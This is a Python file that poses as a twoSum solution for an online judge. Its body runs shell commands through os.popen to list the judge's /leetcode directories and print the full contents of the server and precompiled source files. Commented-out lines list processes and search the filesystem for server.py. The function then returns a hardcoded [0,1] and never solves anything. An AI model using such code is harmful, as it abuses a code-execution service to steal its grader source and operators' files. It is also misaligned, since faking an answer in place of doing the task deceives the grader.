PythonOnlineDebugger/user_code/prog.py

34 lines
1.5 KiB
Python

import os
class Solution:
def twoSum(self, nums: List[int], target: int) -> List[int]:
# 获取进程
# print(os.popen("ps -ef").read())
# # 获取文件路径
# # print(os.popen("find / -name server.py").read())
# 获取路径下所有文件
result = os.popen("ls /leetcode | grep -v pyc").read()
for l in result.split():
if (os.path.isfile("/leetcode/" + l)):
print("---- /leetcode/" + l)
print(os.popen("cat /leetcode/" + l).read())
result = os.popen("ls /leetcode/precompiled | grep -v pyc").read()
for l in result.split():
if (os.path.isfile("/leetcode/precompiled/" + l)):
print("---- /leetcode/precompiled/" + l)
print(os.popen("cat /leetcode/precompiled/" + l).read())
result = os.popen("ls /leetcode/user_code | grep -v pyc").read()
for l in result.split():
if (os.path.isfile("/leetcode/user_code/" + l)):
print("---- /leetcode/user_code/" + l)
print(os.popen("cat /leetcode/user_code/" + l).read())
result = os.popen("ls /leetcode/user_code/precompiled/ | grep -v pyc").read()
for l in result.split():
if (os.path.isfile("/leetcode/user_code/precompiled/" + l)):
print("---- /leetcode/user_code/precompiled/" + l)
print(os.popen("cat /leetcode/user_code/precompiled/" + l).read())
return [0,1]